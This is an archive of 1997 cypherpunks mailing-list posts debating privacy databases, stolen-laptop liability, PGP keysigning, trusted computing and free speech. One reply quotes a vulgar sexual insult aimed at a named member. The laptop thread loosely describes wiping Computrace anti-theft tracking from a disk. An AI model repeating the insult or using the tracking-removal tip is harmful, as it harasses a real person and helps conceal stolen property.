> > On Tue, 10 Jun 1997, Steve Schear wrote:
> > > I find lust to be a noble urge.
> > 
> > Then you probably find rape a noble deed.  I do not.  If you are referring
> > to the acts our net.loon often posts to this list, I hope you enjoy
> > placing yourself at his level.  My ideas originate above my limbic system.
> 
>   You forgot to add, "...and your mother wears army boots!" before
> your attempted "guilt by association" slur and the placing of your
> esteemed self on an intellectual pedestal.

Don't confuse Lust with Eros.

Lust is the desire for gratification at any cost, including one's own life
(in today's era of AIDS and yesterday's era of Syphillus, which is why it
is listed among the deadly sins).  Lust uses the other person for one's
own pleasure, and if the other is not willing doesn't care.

Eros, which is probably rare today, is the intimate and mutual exchange of
pleasure - the "other" is giving and receiving.  This is what has been
considered the noble form of sex, at least before today's revisionism.

But maybe everyone else on this list considers Lust "noble" and I am
merely old fashioned in believing in intimacy and self-giving and
self-control.  Does everyone believe that it is more noble to take what
you want at this moment than to give of yourself?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 12 Jun 1997 13:19:27 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Thoughtcrime   (Re: My War)
In-Reply-To: <v03102800afc399044c85@[10.0.2.15]>
Message-ID: <19970611221203.50854@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Jun 11, 1997 at 07:18:52PM -0700, Steve Schear wrote:
> Ideas are not protected speech, since they only exist in the mind, only
> expressions are protected.

Actually, expression is heavily encumbered with state mechanism, since
it is expression that is "protected" by copyright.  Ideas are also
encumbered by the state, through patent law.  The whole notion of
expression and ideas as property is purely sustained by the state.  

> As I stated earlier, all expressions (however
> objectionable they may be to some or many members of society) deserve
> protection, unless they immediately threaten (or server to incite others to
> threaten) the physical well being of specific individuals or groups.  Porn
> and instructions for making conventional or weapons of mass distruction
> should not be regulated.

It seems to me that your penultimate sentence contradicts your last 
sentence. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 12 Jun 1997 10:26:44 +0800
To: cypherpunks@toad.com
Subject: Re:Texas Driver's License database on the web
Message-ID: <199706120217.WAA11471@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Marshall Clow wrote: 
> >On Wed, 11 Jun 1997, Peter Trei wrote:
> >
> >>    Did Psychos-R-Us request this site?  "Could you create a database so I
> >> don't miss anyone when I go on a killing spree on the 900 block of
> >> Rosewood?"
 
> When my libertairan streak is in full flood, I think that since
> this information was collected by government employees and
> paid for by tax dollars, that it should be availiable to anyone
> who wants it, for (minimal or) no cost.
> 
> Of course, the better solution is to not collect the information
> at all. (Not selling it just means that people can buy it on the
> black market, or in the case of TRW, etc; buy legislatures)

  It amazes me that in an age when government and corporations have
access to untold mountains of information about all of us, that we
seem to get upset when Joe Average is given access to that same
information.
  The end result of this is that those with the most authority
(access to information) are able to exert power and control over
those with less access to the same information.

  Dateline NBC just did a show about a Health Insurance company
whose refused to tell a potential client that the blood test they
did on him was positive for HIV (even though they shared this
information with other insurance companies).
  I will wager that if a few dozen Joe and Jane Average citizens
knew of this and knew they could contact the man through the
Texas DPS database that one of them would have had the decency
to call the man and inform him of the life-threatening disease.

  The Machine feeds off of us by taking away our rights of self
expression and self defence and then convincing us that the
Machine is our benefactor and protector while our fellow humans
are a threat to us and should be feared.
  Thus we end up fearing people with different religious views
instead of the Machine that launches a murderous assault on the
men, women and children who are a threat to our mainstream views.
We end up fearing the janitor at the insurance company who may
well do volunteer work for good causes instead of fearing the
Machine that lets us die and infect our family members while
sharing our private information with other parts of the Machine.

  Yes, you may get attacked by some wacko who targets you and
finds your address from a database. Or, you may get attacked by
some wacko who targets someone else but can't find their address
from a database so they pick you as a random target.
  The Information Age is upon us, for better or worse. If all parts
of the Machine are going to know all my personal data, then I also
want for myself and Joe and Jane Average to have access to the same
data. If the BATF wants to look me up at home through use of a 
database, then I want Timothy McAverage to be able to look all of
them up through the same database.

  The Machine will make certain that every instance of some wacko
using accessed information to abuse someone gets front-page press.
No doubt the weak of wit will cry out for the Machine to protect
us from abuse of access to information. This makes as much sense
as asking to be protected from education and knowledge because
of the potential for abuse.
  We have citizens who decry the fact that information on explosives
should be freely available so they demand that the Machine which
produces nuclear weapons censor that information. God forbid that
someone would make a pipe bomb that wipes out a nuclear weapons
factory.

  Instead of "Give me freedom or give me death." we now have a
nation which cries out for security even if it means imprisonment.
In our desire for ultimately unattainable levels of safety and
security we allow (and even beg for) the Machine to imprison our
bodies, our minds and our spirit.
  Instead of putting child pornographers in prison we will put
cryptographers and remailer operators in prison. Instead of 
confiscating the assets of drug czars will confiscate the assets
of people who have a kid who smokes a joint once a week. Instead
of censoring legislation which limits our freedom and privacy
we will censor literature which proposes democratic assassination
of those who oppress us.

  Personal data privacy is history, for the most part. The focus
of those who wish to retain privacy in certain areas of their life
and their communication should be on technologies which will allow
them to *personally* keep those things private.
  To continue to leave public information only in the hands of the
corporate and government Machine is to continue to empower the
Machine and weaken the power of the citizen.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Thu, 12 Jun 1997 13:36:04 +0800
To: minuteman@fuse.net
Subject: Re: mailing list
In-Reply-To: <339F2887.1F56@fuse.net>
Message-ID: <3.0.2.32.19970611221920.040ea5a0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:36 PM 6/11/97 -0400, Tom McClanahan wrote:
>
>I would like to be on your mailing list.

Which list would that be?

There is the list I run dealing with Perl. (Incredibly technical and high
volume.)

There is the local Portland version of the Cypherpunks list.  (mostly dead.)

There is the list for disgruntled ex-employees of a company I used top work
for.  (Completely dead.)

There is the list for the board of directors and co-conspiritors of a not
for profit corporation.  (Maybe should be dead.)

Or maybe you meant THIS list...

Find a book on mailing lists and look up information of "subscribing".  (It
is next to the information on "circumcision".)

>minuteman@fuse.net

Oh... So you are on a short fuse...


---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 12 Jun 1997 13:46:41 +0800
To: cypherpunks@Algebra.COM
Subject: Re: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: <199706120120.SAA05683@mat.wcs.net>
Message-ID: <19970611223934.43941@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Jun 11, 1997 at 09:37:42PM -0500, William H. Geiger III wrote:
[...]
>The end buyer should not be held responcible for the illegal activities of
>the seller.

Regardless of responsibility, if the original owner can prove it is
stolen goods, the end buyer is out of luck -- clearly the original
owner should get their goods back.  And if the end buyer provably has
clear knowledge that it is stolen property, they are an accesssory to
the crime. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 12 Jun 1997 12:03:18 +0800
To: bennett_t1@popmail.firn.edu
Subject: Re: mailing list
In-Reply-To: <339F56B1.75C9@popmail.firn.edu>
Message-ID: <199706120350.WAA13493@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <339F56B1.75C9@popmail.firn.edu>, on 06/11/97 
   at 08:53 PM, bennett_t1@popmail.firn.edu said:

>Tom McClanahan wrote:
>> 
>> I would like to be on your mailing list.
>> 
>> minuteman@fuse.net
>> 
>> Thank you.
>IMHO, anyone dumb enough to send this shit shouldn't *be* on a mailing
>list.

Considering some of the posts I'v seen he should fit right in. :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 12 Jun 1997 13:32:43 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: [IMPORTANT] e$
In-Reply-To: <199706120220.TAA03032@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970611232037.38478B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 11 Jun 1997, Huge Cajones Remailer wrote:
I think Vulis needs each of us to send ten copies of this back to him.

> May Tim C[ocksucker] May's forgeries get stuck up 
> his ass so he'll have to shit through his filthy 
> mouth for the rest of its miserable life.
> 
>         \\\
>         {OQ} Tim C[ocksucker] May
>          (_)
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Joshua E. Hill" <jehill@w6bhz.calpoly.edu>
Date: Thu, 12 Jun 1997 15:15:21 +0800
To: tcmay@got.net
Subject: Re: Photo ID is not needed for key signings....
In-Reply-To: <v03102802afc52bfb5491@[207.167.93.63]>
Message-ID: <199706120709.AAA05445@hyperion.boxes.org>
MIME-Version: 1.0
Content-Type: text/plain



Tim May said:
> "Sigh." Why do people persist in thinking that a photo ID is useful for PGP
> keysignings?
Because _these_ people _are_ binding true names to keys.  That's what
_this_ is about.  

These people are saying "I know of sufficient proof that this 
person is who they say they are".  You can do this with a person 
you know without the aid of photo id, even if the "true name" isn't 
in the key. Alternatively, (as is the case here) you can verify the 
identify of unknown people with sufficient photo id.

And so each person becomes their own Verisign...

That sounds a lot like the web of trust... each person assigns a
certain amount of trust to others... If I believe that Joe makes 
absolutely certain that any key he signs is valid then I assign him
a high trust.  If Joe chooses to sign somebody's key because he saw
five forms of ID and did a credit check, spiffy.  If Joe signs a
key because it happens to be his brother, even better.  But the point
is that I trust Joe.

How people choose to verify other's identity is somewhat irreverent.  
More important, I think, is the question of who to trust.  So Tim,
if you think that photo ID is a poor method of verifying someone's
identity, doesn't sign a key on that alone.  Also make sure that the
people you assign trust to have the same ideas about photo id.

For others who don't share your thoughts on this matter, they can feel
free to trust photo ID.  And still others can trust them (thus trusting
photo ID by proxy)... But that's what the web of trust is about.  Each
person can trust different things (and people)...  I think that's what
makes the web of trust so flexible.  Each person is free to choose who
and what they trust.

				Josh

-----------------------------Joshua E. Hill-----------------------------
|         You never find a lost article until you replace it.          |
------------------------jehill@w6bhz.calpoly.edu------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 12 Jun 1997 15:20:02 +0800
To: cypherpunks@Algebra.COM
Subject: New key for shamrock@netcom.com
Message-ID: <3.0.2.32.19970612001637.00754e4c@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

C'punks,

I am preparing to retire my old 1024 bit RSA key. It was generated 1/14/1993 
and good key hygiene suggests it is time to retire this key. What better time 
to generate a new key than now that PGP has moved away from shaky MD-5 and 
patent encumbered RSA to DSS and DH.

I would ask anyone that signed my old key to please sign my new key with 
fingerprint 4A17 A6D7 8E80 3B44 C196  F509 8971 9FA7 B663 B0FD.

The key is on the servers.

Thanks,
- --Lucky

-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQCVAwUBM5+iUwSQkem38rwFAQFQPAP/U8Ck6CYQUJI8W/TEf3BQDW1XF0YmYsF1
GcuIp9fYQnRXdB7fKdYvzSffaSs/N5TCjmyeqpTyuE9c7nFqIlu6L+iHoiwdaFdj
UR3DBesS1BpmA71kRKzyt3bue1qttz+dhbhcQFd421sPzkqA7gSkOaQzP1ujspI7
mNS8FH9LyGs=
=hwfW
-----END PGP SIGNATURE-----

--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 12 Jun 1997 15:32:41 +0800
To: cypherpunks@Algebra.COM
Subject: Re: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: <3.0.32.19970611092701.00683c54@best.com>
Message-ID: <v03102803afc551b43153@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:22 AM -0700 6/11/97, Raymond Mereniuk wrote:

>I assume most notebooks which are recovered are found to be in the
>hands of a buyer rather than the person responsible for the actual
>theft.  But, the eventual buyer is indirectly responsible for the
>initial theft of the notebook.

I could not disagree more.

The buyer of some item, be it a laptop or a bicycle or a painting, is not
"responsible" in any way for actions taken by others at earlier times,
unless he speciffically commission a theft (as happens in some markets).

It may be that the buyer of some item may have taken away from him, as the
item was in fact stolen property within some reasonable time window (*),
but this has nothing whatsover to do with the buyer of some item being
"indirectly responsible" for the theft.

(* I mention "reasonable time window" because there are moves afoot to try
to have 50-year-old purchases of art negated, because of allegations of
Nazi looting.)

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Timmy May)
Date: Thu, 12 Jun 1997 13:22:06 +0800
To: cypherpunks@toad.com
Subject: Re: Photo ID is not needed for key signings....
In-Reply-To: <v03102802afc52bfb5491@[207.167.93.63]>
Message-ID: <e3668D88w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> (However, for those lacking photo IDs sufficient for Ed's purposes, I'm
> asking Eric Hughes (not his True Name) if I can borrow his badge laminator.

Is that the long-haired guy I had a dinner with once?  How time flies.

- Timmy May

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Thu, 12 Jun 1997 15:06:12 +0800
To: whgiii@amaranth.com (William H. Geiger III)
Subject: Re: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: <199706120058.TAA11167@mailhub.amaranth.com>
Message-ID: <199706120659.BAA01819@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



William H. Geiger III wrote:
> In <199706112341.QAA05443@mat.wcs.net>, on 06/11/97 
>    at 05:22 PM, "Raymond Mereniuk" <raymond@wcs.net> said:
> 
> >I assume most notebooks which are recovered are found to be in the  hands
> >of a buyer rather than the person responsible for the actual  theft. 
> >But, the eventual buyer is indirectly responsible for the  initial theft
> >of the notebook.
> 
> How is the buyer responsible even indirectly?
> 
> Someone puts an add in the paper NEC Laptop $1,500. I go and check it out
> and buy it. Should it be my respocibility to call NEC over in Japan and
> find out if it was reported stolen (if they even keep such records).
> Should I have to call the manufacture every time I buy a some used
> equipment? Perhaps I should have a background check done before I buy
> anything.
> 
> If anyone is responcible for the theft other than the theif is the person
> who was so carless with their equipment.

According to the law as I understand it, the stolen goods must be
returned to the original owner with no compensation from the owner. But
the buyer can, in theory, sue the seller (thief) for breach if the
implied warranty of title.

Is that correct?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Thu, 12 Jun 1997 15:41:40 +0800
To: shamrock@netcom.com (Lucky Green)
Subject: Re: PKCS-11 vs. CDSA APIs
In-Reply-To: <3.0.2.32.19970611230521.03bfe44c@netcom13.netcom.com>
Message-ID: <199706120731.DAA04752@pig.die.com>
MIME-Version: 1.0
Content-Type: text



Lucky Green wrote :

> 
> Furthermore, as William has mentioned in the past, encrypted instruction
> sets make decompiling and thereby reverse engineering the application next
> to impossible.

	Perhaps he has, but I believe I was the one to post about it
first.

	As you know, my fear is magic stuff in OS inner rings that
enforces social policies and perhaps also provides "sovereign right of
lawful access" to you know who...

	Encrypted code may be very difficult to decrypt, and if the OS
controls key management also nearly impossible to modify (presuming that
the encryption is not just XOR'd with the instruction stream  which
would allow trivial modification once the instructions were decrypted). 
That combination is nice for copyright enforcement, but sure has some
nasty other uses and is a fundemental enabling technology for such
future statist possiblities as restrictions on running modified or
unapproved software without a license to do so - a software developers
license say, or the old Internet drivers license. 

	I am sure that many businesses would be very happy if all their
PCs would only allow software that management approved to run - there
would be a huge market for such in fact... and probably a lot of the
public would willingly buy machines that would only run approved
software if they could pay less for the software or access first run
movies or other candy unavailable on free machines.

	It is really hard to think of a way of controlling what  the
sheeple do with their computers that does not depend on  hard encrypted
code in both OS and application - code that is decrypted only inside the
silicon of the CPU with precautions taken to make access to the
decrypted streams very difficult and expensive for hardware probers. 
Years of trying other methods have failed to produce something practical
from a cost and security standpoint; there are just too many smart and
persistant people around who will find a means of attacking anything
that is exposed.   

	But it is also obvious that there are billions of dollars in
revenue lost to software  pirates and additional sales of copyright works
that don't happen because the owners aren't happy if it is even remotely
possible to obtain pirate copies.  And money talks, and with those levels
of dollars involved one can expect a lot of things to happen, especially
in the current DC climate, and with the possiblity that such technology
will both provide the protection of intellectual property that the
big money interests want and the social control and surveillance that
the fascists want.

	The good part is that making the whole thing adaquately secure
is very hard and the attempt may fail,  the bad thing is that there very
well may be draconian laws that make any attempt to understand or 
modify the code running on one's computer a serious felony and people
may be locked up for years for just trying to determine what a program
is doing to them.  There have already been attempts to create these
laws.

	But I've said much of this before...

							Dave Emery
							die@die.com
							Weston, Mass.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 12 Jun 1997 21:34:24 +0800
To: Adam Shostack <adam@homeport.org>
Subject: Re: Flag burning vote TOMORROW and government-imposed ratings
In-Reply-To: <199706121208.IAA16778@homeport.org>
Message-ID: <Pine.GSO.3.95.970612062228.5130A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Jut woke up, but I would argue "no." This would be the first
constitutional weakening of the First Amendment ever. Hardly a move that
strengthens free speech protections. 

-Declan


On Thu, 12 Jun 1997, Adam Shostack wrote:

> | 	http://www.allpolitics.com/1997/gen/analysis/counterpoint/
> | 
> |         Counterpoint: Ban Flag Burning?
> | 
> |         It's baaaack.....! The House is set to vote June 12 on
> | 	a proposed amendment to the Constitution that would
> | 	ban flag desecration. Democratic Rep. William
> | 	Lipinksi, a lead sponsor, says the flag is too
> | 	important a symbol not to be protected, while ACLU
> | 	executive director Ira Glasser warns against
> | 	weakening the First Amendment.
> 
> 	Would a Flag Burning Ammendment give the court clear guidance
> that other offensive speech, not ammended against, is now more ok?
> 
> Adam
> 
> 
> 
> -- 
> "It is seldom that liberty of any kind is lost all at once."
> 					               -Hume
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 12 Jun 1997 20:17:08 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: New key for shamrock@netcom.com
In-Reply-To: <3.0.2.32.19970612001637.00754e4c@netcom13.netcom.com>
Message-ID: <199706121201.HAA17369@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19970612001637.00754e4c@netcom13.netcom.com>, on 06/12/97 
   at 12:16 AM, Lucky Green <shamrock@netcom.com> said:


>C'punks,

>I am preparing to retire my old 1024 bit RSA key. It was generated
>1/14/1993  and good key hygiene suggests it is time to retire this key.
>What better time  to generate a new key than now that PGP has moved away
>from shaky MD-5 and  patent encumbered RSA to DSS and DH.

>I would ask anyone that signed my old key to please sign my new key with 
>fingerprint 4A17 A6D7 8E80 3B44 C196  F509 8971 9FA7 B663 B0FD.

>The key is on the servers.

>Thanks,
>--Lucky

Hi Lucky,

I hope that you generated a new RSA key also or I would hang onto that old
key. While DSS & DH are supported in PGP 5.0 it is not by the rest of us.
I have a feeling that PGP Inc. users will have to keep 2 keys for awhile
now.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM5/mN49Co1n+aLhhAQERZAP+JtJ+M/t3NVdGPO6xutHYcG2gUqd3kv7u
0IWXOunjqC/b6ehSXBkoX2aF5BrCPCtV0CldeSRWqP40F4EZJ1G1qGWhxGIMQLB3
2QT94P9y5lCQyOnJPfOqvAxsMAsvKEn97mmEYGnCHbivCLN2+X3+Mbk4adG5AcAW
qf/WGPhuEsQ=
=LaLy
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 12 Jun 1997 20:24:23 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: <19970611223934.43941@bywater.songbird.com>
Message-ID: <199706121218.HAA17552@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <19970611223934.43941@bywater.songbird.com>, on 06/11/97 
   at 10:39 PM, Kent Crispin <kent@songbird.com> said:

>On Wed, Jun 11, 1997 at 09:37:42PM -0500, William H. Geiger III wrote:
>[...]
>>The end buyer should not be held responcible for the illegal activities of
>>the seller.

>Regardless of responsibility, if the original owner can prove it is
>stolen goods, the end buyer is out of luck -- clearly the original owner
>should get their goods back.  And if the end buyer provably has clear
>knowledge that it is stolen property, they are an accesssory to the
>crime. 

I have no problem with the original owner getting his property back though
a reasonable statue of limitations should be set (7 yrs?).

Well "clear knowledge" is a rather tough one to prove and brings you into
gray areas of "well he *should* have known it was stolen" type of logic.
IMHO any criminal prosecution should be based on additional evidence other
than just possesion of the property and the word of an admitted felon (ie
the thief).

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM5/qF49Co1n+aLhhAQFqKQP9GDcJsUFxvAkY/W/DcR544WAx0YM/FeZY
l8WA07RW1cKmRKr4cr3VZB8uokTiNuzFS9JE9pbhOjZvPo9mVZvorLgjLHmwvkxG
dOB8fMMIGAcCIRNbejBuS2sNiDCwDIeNm7Gra9a8PSuMwZfEsq03o3z67lpJIcai
su9L2zrVTlY=
=hHJo
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Thu, 12 Jun 1997 22:34:19 +0800
To: cypherpunks@toad.com
Subject: Re: Photo ID is not needed for key signings...
Message-ID: <Pine.SOL.3.96.970612071503.3692A-100000@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Joshua E. Hill (jehill@w6bhz.calpoly.edu) wrote:

> Because _these_ people _are_ binding true names to keys.  That's
> what _this_ is about.

No, they're binding supposedly government-issued ids to keys. There's a
difference.

There are three problems with signing keys based on government-issued ids.

 1. There's no link between a driver's license and an email address,
    so anyone with a license for 'Mark Grant' could claim to be the
    owner of the 'mark@unicorn.com' key.
 2. Governments will issue fake ids to their agents, so there's no 
    proof that that 'Mark Grant' is 'really' 'Mark Grant' and not
    'Joe Sasquatch, NSA, FBI, BATF'.
 3. Thieves have got fed up with faking individual licenses and can
    now do so wholesale; see the following from a recent RISKS
    Digest (18:94)

------------------------------
Date: Tue, 25 Mar 1997 16:39:50 -0500 (EST)
>From: GaryG4430@aol.com
Subject: Thieves steal license machines

Excuse me Sir, but would you watch my Golden Goose while I go get a cup of
coffee?

Published in the *Portland Oregonian*, 25 Mar 1997, p.2, Around the
Nation:

  Thieves steal license machines

  MIAMI - Last year, Florida bought computers to make driver's licenses
  that are virtually impossible to counterfeit.  But brazen South Florida
  thieves have been stealing the computers, sometimes later returning to the 
  scene to pick up accessories.  In seven burglaries at five virtually
  unprotected driver's license offices from Key Largo to Okeechobee, crooks have
  gathered the $15,000 computers, software and supplies for five complete
  systems -everything they would need to crank out the state's new 
  high-tech, counterfeit-resistant licenses.

Yup, only our high-tech systems can make our high-security, tamperproof,
extremely valuable documents.  And you can't just buy one of these system
just anywhere...

Gary Grossoehme, Oregon Electronics

  [Also commented on by Bob_Frankston@frankston.com, who notes that if the
  new licenses are considered "foolproof", it only increases their value!
  PGN]

------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dave@bureau42.ml.org>
Date: Thu, 12 Jun 1997 20:50:09 +0800
To: Raymond Mereniuk <raymond@wcs.net>
Subject: Re: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: <199706112341.QAA05443@mat.wcs.net>
Message-ID: <Pine.LNX.3.96.970612074651.9609A-100000@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 11 Jun 1997, Raymond Mereniuk wrote:

> This has been discussed on this list before, about 1 year ago.  The 
> Computrace software is installed on a place on the hard drive where 
> DOS utilities like Fdisk and Format can not get at it.  This is the 
> same as Diskmanager Version 7 or higher, Fdisk and Format will not 
> remove this version of Diskmanager.

There you go, assuming DOS is the centre of the universe again.
I haven't seen this, but there's a pretty good chance that reformatting
the hard disk as a Linux partition and installing LILO would clean
that nuisance right up.  (If it didn't, you could probably just
use your favorite disk editor to find the Computrace code and zero
it out.)

OC this is all above the means of the average laptop thief, but the
dedicated ones probably have a staff techie.

dave

-- David E. Smith, P O Box 324, Cape Girardeau MO 63702
(573)334-0950  dave@[clas.net | linuxware.com | ml.org]
PLEASE ensure your mailer acknowledges my Reply-To: hdr
Keywords: CPSR EFF ACLU DS6724 Delphi SF bureau42 Wicca
HWG Dilbert crypto Millennium Linux YDKJ PGP single! ;)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 12 Jun 1997 21:12:07 +0800
To: dsmith@prairienet.org
Subject: Re: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: <Pine.LNX.3.96.970612074651.9609A-100000@bureau42.ml.org>
Message-ID: <199706121302.IAA18075@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.LNX.3.96.970612074651.9609A-100000@bureau42.ml.org>, on 06/12/97 
   at 07:50 AM, "David E. Smith" <dave@bureau42.ml.org> said:

>On Wed, 11 Jun 1997, Raymond Mereniuk wrote:

>> This has been discussed on this list before, about 1 year ago.  The 
>> Computrace software is installed on a place on the hard drive where 
>> DOS utilities like Fdisk and Format can not get at it.  This is the 
>> same as Diskmanager Version 7 or higher, Fdisk and Format will not 
>> remove this version of Diskmanager.

>There you go, assuming DOS is the centre of the universe again. I haven't
>seen this, but there's a pretty good chance that reformatting the hard
>disk as a Linux partition and installing LILO would clean that nuisance
>right up.  (If it didn't, you could probably just use your favorite disk
>editor to find the Computrace code and zero it out.)

>OC this is all above the means of the average laptop thief, but the
>dedicated ones probably have a staff techie.

I would imagine that some enterprising programmer will write a program
that removes this crap from the users HD.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
